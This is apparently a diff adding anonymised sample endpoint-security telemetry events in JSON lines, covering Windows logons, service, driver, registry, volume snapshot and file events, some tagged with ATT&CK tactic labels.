+{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"}
+{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"}
+{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"}
+{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"<redacted>","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\<redacted>.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\<redacted>.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"}
+{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"}
+{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"}
+{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"}
+{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","aip":"81.2.69.142","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","LocalAddressIP4":"81.2.69.192","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","aip":"81.2.69.142","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426,7796","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119,7140,7201,7410,7426,7781,7796,7869,7871,7873,10199,10517","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","aip":"81.2.69.142","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion, Impact","Technique":"Impair Defenses, Service Stop"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"KernelServiceStarted","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","aip":"81.2.69.142","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596","cid":"4092825518eaf67377a6e4492ae44577"}
